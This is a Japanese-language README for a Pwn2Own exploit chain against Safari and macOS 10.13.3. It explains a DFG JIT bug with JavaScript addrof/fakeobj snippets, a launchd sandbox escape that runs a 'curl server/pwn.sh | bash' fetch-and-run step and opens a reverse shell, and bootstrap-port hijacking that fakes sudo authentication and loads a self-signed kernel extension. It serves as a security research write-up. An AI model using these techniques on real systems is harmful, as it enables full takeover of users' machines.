
A Pwn2Own exploit chain
macOS 10.13.3 向けの Safari RCE、サンドボックス脱出、およびカーネルへの LPE。
nasm と tornado をインストールします:
brew install nasm
pip3 install tornado
ホスト名やポートを変更したい場合は config.py を確認してください。その後、./server.py でサーバーを起動し、表示された URL にアクセスしてください。
このエクスプロイトチェーンは、Safari 内で実行される JavaScript コードからカーネルモードのコード実行に至るまで、3 つの異なるバグを利用します:
エクスプロイトチェーンは 6 つのステージで構成され、各ステージはそれぞれ独自のサブディレクトリに配置されています:
各サブディレクトリ(libspc/ を除く)には make.py というファイルが含まれており、これを実行すると必要なビルドコマンドが実行され、Web サーバーが配信するファイルのリストが作成されます。
目標: サンドボックス化された WebContent プロセス内でシェルコードを実行する
悪用したバグ: DFG JIT コンパイラの誤った最適化
関連資料: この BlackHat 講演
DFG JIT コンパイラは、JavaScript コードを独自の中間表現(IR)である Data Flow Graph(DFG)で表現します。通常、1 つの JavaScript 式は、このグラフ内で 1 つまたは複数の IR 命令に変換されます。コンストラクタ関数の場合、CreateThis 命令が生成され、関数によって構築される this オブジェクトの割り当てを担当します。例として、関数 function Consructor() {} を new で呼び出すと、おおよそ次のように変換されます:
v0 = CreateThis
return v0
AbstractInterpreter を見ると、DFG JIT コンパイラが CreateThis 操作はヒープ割り当て以外の副作用を引き起こさないと想定していることがわかります。実際、次のコード:
function Constructor(obj) {
return obj.x;
}
は、おおよそ次の DFG 命令に変換されます:
(ここでは、StructureCheck は TypeCheckHoistingPhase によって関数の先頭に移動されています)。
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;
しかし、その想定は無効です。CreateThis のスローパスコードは、場合によっては任意の JavaScript コードを実行できるためです。特に、実際の関数の周りに Proxy を使用すると、CreateThis のスローパスハンドラが構築されるオブジェクトのプロトタイプオブジェクトを取得する必要があるため、"prototype" プロパティの get トラップが呼び出されます:
function Constructor(obj) {
return obj.x;
}
var handler = {
get(target, propname) {
/* run JS here, modify the structure of the argument object, etc. */
return target[propname];
},
};
var ConstructorProxy = new Proxy(Constructor, handler);
// Force JIT compilation of ConstructorProxy
これにより、JIT コンパイラがベイルアウトを実行することなく、オブジェクトの Structure を変更することが可能になります。
このバグは、次のように addrof および fakeobj プリミティブを構築するために使用できます:
ボックス化されていない double 要素を持つ JSArray の場合のコードをコンパイルし、コールバック内で JSValue 要素に遷移します。その後、JIT コードは配列から JSValue をロードしますが、それらのビットを double として扱い、私たちに返します。次のコードは、leakme のアドレスを構築されたオブジェクトの "address" プロパティに代入します。
function InfoLeaker(a) {
this.address = a[0];
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = leakme;
return target[propname];
},
};
// ...
ここでは基本的に逆のことを行います: ボックス化されていない double 要素を持つ配列に double を格納するようにコードを最適化し、再びコールバック内で JSValue 要素に遷移します。コードは、制御された double をボックス化されていない形式でバッキングストレージに書き込み続けます。後でその配列要素にアクセスすると、それらのビットは double ではなく JSValue として扱われます。次のコードは、ボックス化されていない double の address を a のバッキングバッファに書き込み、それを JSValue として読み出すことができるため、エンジンに任意の JSValue を「注入」することができます。
function ObjFaker(a, address) {
a[0] = address;
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = {};
return target[propname];
},
};
// ...
このようにして、double を書き込んで JSObject ポインタとして扱う(およびその逆)能力を得ることができます。これは、attacking javascript engines で説明されているように悪用できます。
エクスプロイトは、まず Float64Array を偽装して任意のプロセスメモリの読み取り/書き込みを達成し、次に JIT 領域(RWX としてマッピング)を検索して、ステージ 1 のシェルコードをそこに書き込みます。
目標: .dylib をディスクに書き込み、dlopen() でロードすることによりステージ 2 をブートストラップする
基本的に次のことを行う短いアセンブリペイロード:
confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) を呼び出して書き込み可能なディレクトリへのパスを取得するdlopen() を使用して dylib を WebContent プロセスにロードする目標: サンドボックスから脱出する
悪用したバグ: launchd の "legacy_spawn" API におけるサンドボックスチェックの欠如
関連資料: この講演
launchd は "legacy_spawn" RPC エンドポイントをサブシステム 3 のルーチン 817 として公開しています。この API は、呼び出し側がプロセスを生成することを許可されているかどうかの検証に失敗し、制御された引数でシステム上の任意のバイナリを呼び出し側のために execve するだけです。launchd はブートストラップポート経由で到達可能であるため、これによりサンドボックスから脱出することが可能になります。
エクスプロイトは基本的に curl server/pwn.sh | bash を実行し、制御をステージ 3 に渡します。
目標: 電卓を起動し、残りのステージをブートストラップする
open /Applications/Calculator.app を実行し、リバースシェルを確立してから、残りのステージに必要なすべてのファイルを取得してエクスプロイトを実行します。
目標: LPE エクスプロイトで root を取得する
悪用したバグ: XNU ブートストラップポート MitM
関連資料: この POC 講演
XNU では、task_set_special_port API により、呼び出し側が自分のブートストラップポートを上書きできます。ブートストラップポートは launchd との通信に使用されます。このポートは fork をまたいで継承されます。子プロセスは親と同じブートストラップポートを使用します。ここで、子プロセスが親よりも特権が高い場合にセキュリティ問題が発生します。例えば、sudo(setuid バイナリ)や kextutil("com.apple.rootless.kext-management" エンタイトルメントを持つ)などが該当します。ブートストラップポートを上書きして子プロセスを fork することで、子プロセスと launchd の間に MitM の位置を獲得できます(子プロセスはブートストラップポートにメッセージを送信する際に launchd に到達することを期待しています)。子プロセスは launchd にさまざまな mach サービスおよび XPC サービスの解決を要求します。これらのサービスを私たちが制御する他のポートに解決させることで、子プロセスが使用する任意のシステムサービスに対しても MitM の位置を獲得できます。その後、攻撃の成否は、攻撃対象のプログラムがそれらのサービスをどのように使用するかに依存します。
root を取得するために、sudo バイナリを標的とし、sudo が資格情報の検証に使用する opendirectoryd との通信を傍受します。opendirectoryd からの応答を変更して、パスワードが有効であるかのように見せかけます。
この問題を修正しようとする試みがあったようです。launchd との通信を実行する libxpc が、応答が実際に uid=0 かつ pid=1(== launchd)のプロセスから来ていることを検証するためです。ただし、これらのチェックは不十分です。次のようにしてそれらをバイパスし、opendirectoryd を私たち自身のポートに解決させることができます:
bootstrap_register2 API を使用して、私たち自身の mach サービス(例: net.saelo.hax)を launchd に登録するcom.apple.system.opendirectoryd.api を net.saelo.hax に置き換える(root への権限昇格のために)残っているのは、opendirectoryd と sudo の間のメッセージを転送しつつ、認証エラー応答を成功応答に置き換えることだけです。
目標:(自己署名の)カーネル拡張をロードする
悪用したバグ: XNU ブートストラップポート MitM
これはステージ 4 と同じ脆弱性を悪用しますが、今回は kextutil を標的とします。com.apple.trustd への接続を傍受して証明書チェーンを偽装し、自己署名の kext が実際には Apple によって直接署名されていると kextutil に思わせます。
kextutil は、ディスクから .kext をロードするように要求されると、おおよそ次のように進行します:
trustd と通信して証明書チェーンを取得し、ルート証明書が信頼されているかどうかを確認するsyspolicyd と通信して .kext がユーザー承認済みかどうかを確認する。ただし、syspolicyd に到達できない場合、kextutil は単に続行するこれにより、次の攻撃で自己署名のカーネル拡張をロードできます:
com.apple.trustd を私たち自身のサービスに解決させるtrustd へのメッセージを傍受し、公式の Apple .kext のハードコードされた証明書チェーンで応答するsyspolicyd との通信をブロックする(例: launchd へのサービスルックアップ要求で com.apple.security.syspolicy.kext を net.saelo.lolno に置き換える)kextutil はこれで私たちのカーネル拡張をカーネルにロードします。